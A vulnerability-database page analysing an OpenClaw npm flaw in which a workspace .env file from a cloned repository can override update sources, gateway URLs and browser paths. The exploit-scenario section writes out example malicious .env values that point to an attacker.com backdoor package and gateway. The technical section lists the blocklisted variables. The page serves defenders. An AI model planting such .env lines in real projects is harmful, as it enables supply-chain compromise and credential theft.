Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessClone malicious repository
-
DeliveryOpen workspace in OpenClaw
-
ExploitLoad crafted .env file
-
ExecutionInject runtime-control variables
-
PersistRedirect update/gateway/browser paths
-
ImpactExecute attacker-controlled code or exfiltrate credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration Configuration hardening
|
| Exploitation Conditions | Exploitation requires the OpenClaw application to load a workspace .env file from an untrusted repository, meaning the victim developer must clone a malicious repository and open it as a workspace in OpenClaw (satisfying UI:P user interaction requirement). The attacker needs low-level local access privileges (PR:L) in the form of filesystem write access to place the malicious .env file, typically achieved by publishing a public repository or submitting a pull request to a project the victim works on. The CVSS vector AV:L (local attack vector) indicates the attacker does not need to be on the same system - distributing a repository with a crafted .env file counts as 'local' because the exploitation happens client-side when the victim opens the workspace. Attack complexity is low (AC:L) because no special timing, race conditions, or information gathering are required; a static .env file with hardcoded malicious variables suffices. Limiting factors: User interaction is mandatory - automatic exploitation during git clone alone is not possible; the developer must explicitly open the workspace in OpenClaw. Authentication level PR:L means the attacker does not need admin privileges, only the ability to create or modify a repository that the victim will open. The vulnerability affects default OpenClaw configurations with no special feature enablement required. Versions 2026.4.9 and later are immune regardless of configuration due to the implemented blocklist. |
| Impact | Real-world risk is moderate to high for organizations using OpenClaw in multi-repository or collaborative development environments. The CVSS 4.0 vector (AV:L/AC:L/PR:L/UI:P) indicates local attack with low complexity requiring low privileges and user interaction - specifically, a developer must open and trust a malicious workspace containing a crafted .env file. No publicly available exploit code exists, and no CISA KEV listing confirms active exploitation, suggesting this is a proactive vendor disclosure rather than an in-the-wild threat. However, the high impact ratings (VC:H/VI:H/VA:H - complete confidentiality, integrity, and availability impact in the vulnerable component) reflect the severe consequences of successful exploitation: supply chain compromise via update source redirection, credential theft through gateway/ClawHub URL manipulation, and arbitrary code execution via browser executable override. The attack complexity is genuinely low - malicious .env injection requires no sophisticated techniques, just a text file in a cloned repository. User interaction (UI:P) is the primary friction: developers must explicitly open the workspace. In environments with strong repository vetting (internal-only codebases, trusted vendor sources), risk is lower. In scenarios with frequent public repository cloning (open-source contribution workflows, freelancer onboarding, contractor access), risk escalates significantly because the attack vector aligns with normal developer behavior. Organizations should prioritize patching if their OpenClaw deployment involves untrusted code repositories or if developers routinely clone external projects. |
| Exploit ScenarioDerived | An attacker publishes a seemingly legitimate open-source repository (example: a popular framework tutorial or utility library) to GitHub, embedding a malicious .env file in the workspace root. The .env file contains 'OPENCLAW_UPDATE_PACKAGE_SPEC=https://attacker.com/backdoor.tgz' to redirect package updates to a compromised source, 'OPENCLAW_GATEWAY_URL=https://attacker.com/gateway' to intercept API traffic and credentials, and 'BROWSER_EXECUTABLE_PATH=/tmp/malicious-chrome' to execute an attacker-controlled binary when OpenClaw launches browser automation. A developer clones the repository and opens it in OpenClaw, triggering automatic .env loading. The injected variables redirect subsequent update checks to download backdoored packages, route ClawHub API requests through the attacker's proxy to harvest authentication tokens, and replace the legitimate browser with a trojanized executable. No public exploit code exists, but the attack requires only standard repository hosting and relies on social engineering to convince developers to open the malicious workspace. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 05, 2026
Environment variable injection in OpenClaw npm package versions before 2026.4.9 allows local attackers with low privileges to compromise application behavior through malicious workspace .env files. Attackers can redirect update sources to serve backdoored packages, modify gateway URLs and ClawHub resolution endpoints to intercept traffic, and override browser executable paths to launch attacker-controlled binaries. Vendor-released patch: version 2026.4.9, with fix also present in latest npm release 2026.4.14. No public exploit identified at time of analysis, but exploitation requires only an untrusted repository with a crafted .env file opened by a victim user.
Earlier versions of this analysis (1)
Environment variable injection in OpenClaw npm package before 2026.4.9 enables attackers to hijack runtime configuration via malicious workspace .env files. By placing a crafted .env file in a repository, attackers can redirect update sources to serve backdoored packages, alter API gateway URLs to intercept traffic, substitute browser executables for code execution, and disable security controls. Exploitation requires a local authenticated user to open a malicious workspace with user interaction (CVSS AV:L/AC:L/PR:L/UI:R). Vendor-released patch confirmed in version 2026.4.9, available via GitHub commit dbfcef3 and npm release 2026.4.14. No active exploitation (CISA KEV) or public exploit code identified at time of analysis, though proof-of-concept is trivial given the detailed advisory and commit diff.
RemediationAI
Upgrade the OpenClaw npm package to version 2026.4.9 or later, with 2026.4.14 recommended as the current stable release incorporating the fix. Execute 'npm update openclaw' or modify package.json to specify '"openclaw": "^2026.4.9"' and run 'npm install'. The fix is implemented in commit dbfcef319618158fa40b31cdac386ea34c392c0c and merged via pull request #62660, both linked in the GitHub advisory at https://github.com/openclaw/openclaw/security/advisories/GHSA-7wv4-cc7p-jhxc. The patch introduces a blocklist of 37 runtime-control variables and six prefix families to prevent workspace .env files from injecting sensitive configuration. If immediate upgrade is not feasible, implement compensating controls: (1) Restrict workspace .env file permissions to read-only for the OpenClaw process user to prevent runtime modification, though this does not block load-time injection; (2) Conduct manual code review of all .env files in cloned repositories before opening workspaces, searching for blocked variable names listed in the advisory (OPENCLAW_UPDATE_PACKAGE_SPEC, OPENCLAW_GATEWAY_URL, BROWSER_EXECUTABLE_PATH, CLAWHUB_TOKEN, etc.) - this is labor-intensive and error-prone; (3) Run OpenClaw in a sandboxed environment (container, VM) with network egress filtering to prevent gateway redirection and update source compromise, accepting the operational overhead of managing isolated development environments. These workarounds introduce significant friction to developer workflows and do not fully mitigate the vulnerability; upgrading to the patched version remains the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability (CWE-15: External Control of System or Configuration Setting) affects the dotenv configuration loading mechanism in OpenClaw, an npm package for AI-assisted development workflows. The affected product (cpe:2.3:a:openclaw:openclaw) loads workspace-local .env files to set environment variables but failed to filter runtime-control variables before version 2026.4.9. The commit dbfcef319618158fa40b31cdac386ea34c392c0c introduces a comprehensive blocklist of 37 sensitive variable names and six prefix families (OPENCLAW_UPDATE_*, OPENCLAW_SKIP_*, OPENCLAW_DISABLE_*, OPENCLAW_CLAWHUB_*, CLAWHUB_*, ANTHROPIC_API_KEY_*) to prevent workspace .env files from hijacking application runtime behavior. The fix preserves user-defined environment variables (like GITHUB_TOKEN, DATABASE_URL_CUSTOM) while blocking variables controlling update mechanisms (OPENCLAW_UPDATE_PACKAGE_SPEC), network routing (OPENCLAW_GATEWAY_URL, CLAWHUB_URL), authentication tokens (CLAWHUB_TOKEN, CLAWHUB_AUTH_TOKEN), binary execution paths (BROWSER_EXECUTABLE_PATH, PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH), plugin catalog sources (OPENCLAW_PLUGIN_CATALOG_PATHS), and diagnostic controls (OPENCLAW_SHOW_SECRETS). The vulnerability exists because workspace .env files, intended for project-specific configuration, could override system-level security controls designed to protect the OpenClaw runtime environment.
Know when Openclaw gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
OpenClaw before 2026.4.9 contains an environment variable injection vulnerability allowing malicious workspace .env files to set runtime-control variables. Attackers can inject variables affecting update sources, gateway URLs, ClawHub resolution, and browser executable paths to compromise application behavior.
Blast Radius
ecosystem impact- 1 npm packages depend on openclaw (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 2026.4.9.
Executive ViewAI
OpenClaw npm package versions before 2026.4.9 contain an environment variable injection vulnerability that allows local attackers with low privileges to redirect package updates, intercept gateway traffic, and execute arbitrary binaries by placing malicious .env files in shared workspaces. Organizations using OpenClaw in multi-user or supply-chain environments risk package tampering, man-in-the-middle attacks, and unauthorized code execution without requiring elevated permissions.
Apply vendor patch. If immediate patching is not feasible: restrict .env file write permissions in shared workspaces to authorized users only, disable auto-update mechanisms until patched, implement network monitoring to detect suspicious gateway/ClawHub traffic, and require code review of any .env file changes before merge.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Auth bypass in OpenClaw voice-call extension before 2026.2.1. EPSS 0.68%. PoC and patch available.
Privilege escalation in OpenClaw (pre-2026.3.28) allows unauthenticated remote attackers to gain administrative access b
OpenClaw versions 2026.2.22 through 2026.2.24 contain a privilege escalation vulnerability that allows authenticated att
An authorization mismatch vulnerability in OpenClaw versions prior to 2026.3.1 allows authenticated users with operator.
OpenClaw versions prior to 2026.1.29 automatically establish WebSocket connections to attacker-controlled gateway URLs e
Path traversal in OpenClaw through version 2026.3.23 enables unauthenticated remote attackers to read arbitrary files in
Authentication bypass in OpenClaw before 2026.5.3 allows remote attackers with low privileges to receive agent responses
Directory-context bypass in OpenClaw before 2026.8.1 allows authenticated attackers with user interaction to reuse an 'a
Unauthenticated access to the noVNC observer interface in OpenClaw's Docker sandbox browser allows anyone who can reach
Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-lev
OpenClaw versions before 2026.2.26 allow authenticated attackers to write arbitrary files outside the workspace director
OpenClaw versions prior to 2026.2.22 contain a shell environment variable injection vulnerability in the system.run func
EUVD-2026-27273
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB